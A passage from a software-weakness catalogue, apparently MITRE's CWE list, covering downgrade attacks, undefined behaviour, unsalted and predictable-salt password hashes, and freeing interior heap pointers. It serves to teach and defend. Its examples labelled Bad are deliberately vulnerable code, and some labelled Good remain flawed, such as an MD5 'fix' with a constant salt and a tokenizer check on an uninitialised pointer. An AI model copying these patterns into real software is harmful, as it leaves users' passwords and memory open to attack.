The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		693	Protection Mechanism Failure	1529
PeerOf		1328	Security Version Number Mutable to Older Versions	2229

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2449

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)




Effectiveness = High

Observed Examples

Reference	Description
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities. https://www.cve.org/CVERecord?id=CVE-2006-4302
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher. https://www.cve.org/CVERecord?id=CVE-2006-4407
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol. https://www.cve.org/CVERecord?id=CVE-2005-2969
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using an Adversary-in-the-Middle AITM attack. https://www.cve.org/CVERecord?id=CVE-2001-1444
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642. https://www.cve.org/CVERecord?id=CVE-2002-1646

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		957	SFP Secondary Cluster: Protocol Error	888	2419
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2509
MemberOf		1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2563

Notes

Relationship

This is related to CWE-300, although not all downgrade attacks necessarily require an entity that redirects or interferes with the network. See examples.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
220	Client-Server Protocol Manipulation
606	Weakening of Cellular Encryption
620	Drop Encryption Level

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID : 758

Structure : Simple

Abstraction : Class

Description

The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.








Extended Description



This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		710	Improper Adherence to Coding Standards	1558
ParentOf		474	Use of Function with Inconsistent Implementations	1136
ParentOf		562	Return of Stack Variable Address	1287
ParentOf		587	Assignment of a Fixed Address to a Pointer	1330
ParentOf		588	Attempt to Access Child of a Non-structure Pointer	1332
ParentOf		1038	Insecure Automated Optimizations	1881
ParentOf		1102	Reliance on Machine-Dependent Data Representation	1951

Nature	Type	ID	Name	Page
ParentOf		1103	Use of Platform-Dependent Third Party Components	1952
ParentOf		1105	Insufficient Encapsulation of Machine-Dependent Functionality	1954

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C

(Bad)

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Example 2:

The following function returns a stack address.

Example Language: C

(Bad)











```
char* getName() {
    char name[STR_MAX];
    fillInName(name);
    return name;
}
```

Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard. https://www.cve.org/CVERecord?id=CVE-2006-1902

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf		1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2478
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf		1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2482
MemberOf		1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2484
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR32-C	CWE More Abstract	Ensure size arguments for variable length arrays are in a valid range
CERT C Secure Coding	ERR34-C	Imprecise	Detect errors when converting a string to a number
CERT C Secure Coding	EXP30-C	CWE More Abstract	Do not depend on the order of evaluation for side effects
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
CERT C Secure Coding	MSC14-C		Do not introduce unnecessary platform dependencies
CERT C Secure Coding	MSC15-C		Do not depend on undefined behavior
CERT C Secure Coding	MSC37-C	CWE More Abstract	Ensure that control never reaches the end of a non-void function

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID : 759

Structure : Simple

Abstraction : Variant**Description**

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	1822

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2449

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity <i>If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.</i>	

Detection Methods**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C

(Bad)

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java

(Bad)

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python

(Bad)

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python

(Good)

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```






Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

Reference	Description
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords. https://www.cve.org/CVERecord?id=CVE-2008-1526
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords. https://www.cve.org/CVERecord?id=CVE-2006-1058

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2380
MemberOf		866	2011 Top 25 - Porous Defenses	900	2393
MemberOf		958	SFP Secondary Cluster: Broken Cryptography	888	2419
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2509
MemberOf		1402	Comprehensive Categorization: Encryption	1400	2548

References

[REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-292]Colin Percival. "Tarsnap - The script key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <https://www.rfc-editor.org/rfc/rfc2898> >.2023-04-07.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <https://codahale.com/how-to-safely-store-a-password/> >.2023-04-07.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.2023-04-07.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < <https://www.openwall.com/presentations/PHDays2012-Password-Security/> >.2023-04-07.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <https://www.troyhunt.com/our-password-hashing-has-no-clothes/> >.2023-04-07.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.2023-04-07.

[REF-631]OWASP. "Password Storage Cheat Sheet". < https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html >.2023-04-07.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < <http://hashphp.org/hashing.html> >.2023-04-07.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < <https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY> >.2023-04-07.

[REF-634]James McGlinn. "Password Hashing". < <https://privacyaustralia.net/phpsec/articles/password-hashing/> >.2023-04-07.

[REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < <https://blog.codinghorror.com/rainbow-hash-cracking/> >.2023-04-07.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < <https://blog.codinghorror.com/speed-hashing/> >.2023-04-07.

[REF-637]"Rainbow table". 2009 March 3. Wikipedia. < https://en.wikipedia.org/wiki/Rainbow_table >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID : 760
Structure : Simple
Abstraction : Variant

Description

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.

Extended Description


This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	1822

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2449

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a




built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Observed Examples

Reference	Description
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash. https://www.cve.org/CVERecord?id=CVE-2008-4905
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. https://www.cve.org/CVERecord?id=CVE-2002-1657
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. https://www.cve.org/CVERecord?id=CVE-2001-0967
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. https://www.cve.org/CVERecord?id=CVE-2005-0408

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		958	SFP Secondary Cluster: Broken Cryptography	888	2419
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2509
MemberOf		1402	Comprehensive Categorization: Encryption	1400	2548

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

References

- [REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.
- [REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.
- [REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <https://www.rfc-editor.org/rfc/rfc2898> >.2023-04-07.
- [REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <https://codahale.com/how-to-safely-store-a-password/> >.2023-04-07.
- [REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.2023-04-07.
- [REF-296]Solar Designer. "Password security: past, present, future". 2012. < <https://www.openwall.com/presentations/PHDays2012-Password-Security/> >.2023-04-07.

- [REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <https://www.troyhunt.com/our-password-hashing-has-no-clothes/> >.2023-04-07.
- [REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.2023-04-07.
- [REF-631]OWASP. "Password Storage Cheat Sheet". < https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html >.2023-04-07.
- [REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < <http://hashphp.org/hashing.html> >.2023-04-07.
- [REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < <https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY> >.2023-04-07.
- [REF-634]James McGlinn. "Password Hashing". < <https://privacyaustralia.net/phpsec/articles/password-hashing/> >.2023-04-07.
- [REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < <https://blog.codinghorror.com/rainbow-hash-cracking/> >.2023-04-07.
- [REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < <https://blog.codinghorror.com/speed-hashing/> >.2023-04-07.
- [REF-637]"Rainbow table". 2009 March 3. Wikipedia. < https://en.wikipedia.org/wiki/Rainbow_table >.2023-04-07.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID : 761

Structure : Simple

Abstraction : Variant

Description

The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the product to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		763	Release of Invalid Pointer or Reference	1608

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C

(Bad)

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
}
```



```

/* we did not match the char in the string, free mem and return failure */
free(str);
return FAILURE;
}

```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(Good)

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

Example 2:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(Bad)

```

char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (*ap != '\0')
        if (++ap >= &argv[10])
            break;
/*.../
free(ap[4]);

```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(Bad)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );

```

```
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C (Good)

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = "\\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

Observed Examples

Reference	Description
CVE-2019-11930	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory." https://www.cve.org/CVERecord?id=CVE-2019-11930

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2425
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Maintenance

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.2023-04-07.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

CWE-762: Mismatched Memory Management Routines

Weakness ID : 762

Structure : Simple

Abstraction : Variant

Description

The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:



- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine `free()` (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with `malloc()` in C++ instead of the `new` operator, and then deallocated with the `delete` operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
